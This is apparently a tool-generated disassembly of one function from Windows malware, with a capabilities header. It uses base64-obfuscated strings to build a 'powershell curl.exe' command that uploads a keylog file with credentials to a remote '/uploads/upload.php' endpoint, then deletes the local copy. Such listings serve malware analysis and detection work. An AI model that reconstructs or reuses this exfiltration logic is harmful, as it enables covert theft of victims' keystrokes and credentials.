Function at 0x401e20
Capabilities:
Delete file
Execute command
Move file

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x59c
lea eax, [esp + 0x4c]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
lea ebx, [esp + 0x464]
mov dword [esp + 4], eax
lea esi, [esp + 0x144]
call sym._base64_decode
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
mov dword [esp], ebx
call sym._sprintf
mov dword [esp + 4], 0x424061
mov dword [esp], ebx
call sym._check_exist
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], str.C:Users_s_s_boot.txt
mov dword [esp], esi
call sym._sprintf
mov dword [esp + 4], 0x424061
mov dword [esp], esi
call sym._check_exist
test eax, eax
jne 0x4021e8
mov dword [esp], 0x4241a7
lea ebx, [esp + 0xae]
call sym._ping
test eax, eax
jne 0x401eee
lea ebx, [esp + 0xae]
mov dword [esp + 8], 0x4241a7
mov dword [esp + 4], 0x4241b5
mov dword [esp], ebx
call sym._sprintf
mov dword [esp], ebx
mov dword [esp + 4], 0x4241b8
call sym._get_http_headers
mov ebx, eax
test eax, eax
je 0x402269
mov eax, 0x79
mov dword [esp + 4], ebx
mov word [esp + 0x6e], ax
lea eax, [esp + 0x66]
mov dword [esp], eax
mov dword [esp + 0x66], 0x6f6d6962
mov dword [esp + 0x6a], 0x6c68746e
call sym._get_current_ip
mov ebp, eax
test eax, eax
je 0x40227a
lea eax, [esp + 0x50]
mov dword [esp], str.Y2EyMnVwZGF0ZS5tZA
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov edi, eax
lea eax, [esp + 0x54]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], 0x447460
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], 0x447060
mov dword [esp + 0x3c], eax
call sym._check_curl
test eax, eax
je 0x402210
mov dword [esp + 4], ebx
mov dword [esp], 0x4241f0
call sym._run_keygen
mov ebx, eax
test eax, eax
je 0x40224a
mov dword [esp], eax
call sym._strlen
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._base64_encode
test eax, eax
je 0x4022f0
lea ecx, [eax + 1]
lea edx, [esp + 0x70]
sub edx, ecx
cmp edx, 2
jbe 0x40228b
test al, 3
jne 0x40228b
mov edx, dword [eax]
mov dword [esp + 0x70], edx
movzx edx, byte [eax + 4]
mov byte [esp + 0x74], dl
movzx edx, byte [eax + 5]
movzx eax, byte [eax + 6]
mov dword [esp], ebx
mov byte [esp + 0x75], dl
mov byte [esp + 0x76], al
mov byte [esp + 0x77], 0
call sym._SHA256
test eax, eax
je 0x402301
lea ecx, [eax + 1]
lea edx, [esp + 0x90]
sub edx, ecx
cmp edx, 2
jbe 0x4022af
test al, 3
jne 0x4022af
mov edx, dword [eax]
mov dword [esp + 0x90], edx
movzx edx, byte [eax + 4]
mov byte [esp + 0x94], dl
movzx edx, byte [eax + 5]
mov byte [esp + 0x95], dl
movzx edx, byte [eax + 6]
mov dword [esp], eax
mov byte [esp + 0x96], dl
mov byte [esp + 0x97], 0
call sym._free
mov dword [esp], ebp
call sym._ping
mov edi, eax
test eax, eax
jne 0x402312
call sym._get_uid
mov edi, eax
test eax, eax
je 0x4022df
mov dword [esp + 0x10], eax
lea eax, [esp + 0x20c]
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], str.C:Users_s_s_s_boot.txt
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x20c]
mov dword [esp], esi
mov dword [esp + 4], eax
call sym._rename
test eax, eax
jne 0x402258
mov dword [esp], ebx
call sym._free
mov dword [esp], edi
call sym._free
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x424238
mov dword [esp + 0xc], eax
lea eax, [esp + 0x2d4]
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x58]
mov dword [esp], str.cG93ZXJzaGVsbCBjdXJsLmV4ZSAtdQ
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.aHR0cHM6Ly8
mov ebx, eax
lea eax, [esp + 0x5c]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.L3VwbG9hZHMvdXBsb2FkLnBocA
mov edi, eax
lea eax, [esp + 0x60]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 8], ebx
lea ebx, [esp + 0x39c]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20c]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x90]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x70]
mov dword [esp], ebx
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], edi
mov dword [esp + 0xc], eax
mov dword [esp + 4], str._s__s:_s__F__file__s___s_s_s
call sym._sprintf
mov dword [esp + 4], ebx
mov dword [esp], str.Upload_url:__s_n
call sym._printf
mov dword [esp], ebx
call sym._system
mov ebx, eax
test eax, eax
jne 0x402221
mov dword [esp], str.__Upload_SUCCESS
call sym._puts
lea eax, [esp + 0x20c]
mov dword [esp], eax
call sym._remove
mov dword [esp], ebp
call sym._free
add esp, 0x59c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.No_keylog_file
call sym._puts
add esp, 0x59c
mov ebx, 1
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.__Curl_installed
call sym._puts
jmp 0x401f96
mov dword [esp], str.__Uploaded_FAIL
call sym._puts
lea eax, [esp + 0x20c]
mov dword [esp + 4], esi
mov dword [esp], eax
call sym._rename
mov dword [esp], ebp
call sym._free
jmp 0x4021f4
mov dword [esp], str.No_daily_key
call sym._puts
jmp 0x4021f4
mov dword [esp], str.rename_failed
call sym._puts
jmp 0x4020d7
mov dword [esp], str.Date_empty
call sym._puts
jmp 0x4021f4
mov dword [esp], str.No_IP_decoded
call sym._puts
jmp 0x4021f4
movzx edx, byte [eax]
mov byte [esp + 0x70], dl
movzx edx, byte [eax + 1]
mov byte [esp + 0x71], dl
movzx edx, byte [eax + 2]
mov byte [esp + 0x72], dl
movzx edx, byte [eax + 3]
mov byte [esp + 0x73], dl
jmp 0x401fec
movzx edx, byte [eax]
mov byte [esp + 0x90], dl
movzx edx, byte [eax + 1]
mov byte [esp + 0x91], dl
movzx edx, byte [eax + 2]
mov byte [esp + 0x92], dl
movzx edx, byte [eax + 3]
mov byte [esp + 0x93], dl
jmp 0x40203f
mov dword [esp], str.No_machine_uid
call sym._puts
jmp 0x4021f4
mov dword [esp], str.Username_emoty
call sym._puts
jmp 0x4021f4
mov dword [esp], str.Password_empty
call sym._puts
jmp 0x4021f4
mov dword [esp], str.Ping_failed__exit
call sym._puts
mov dword [esp], edi
call sym._exit
lea esi, [esi]
lea esi, [esi]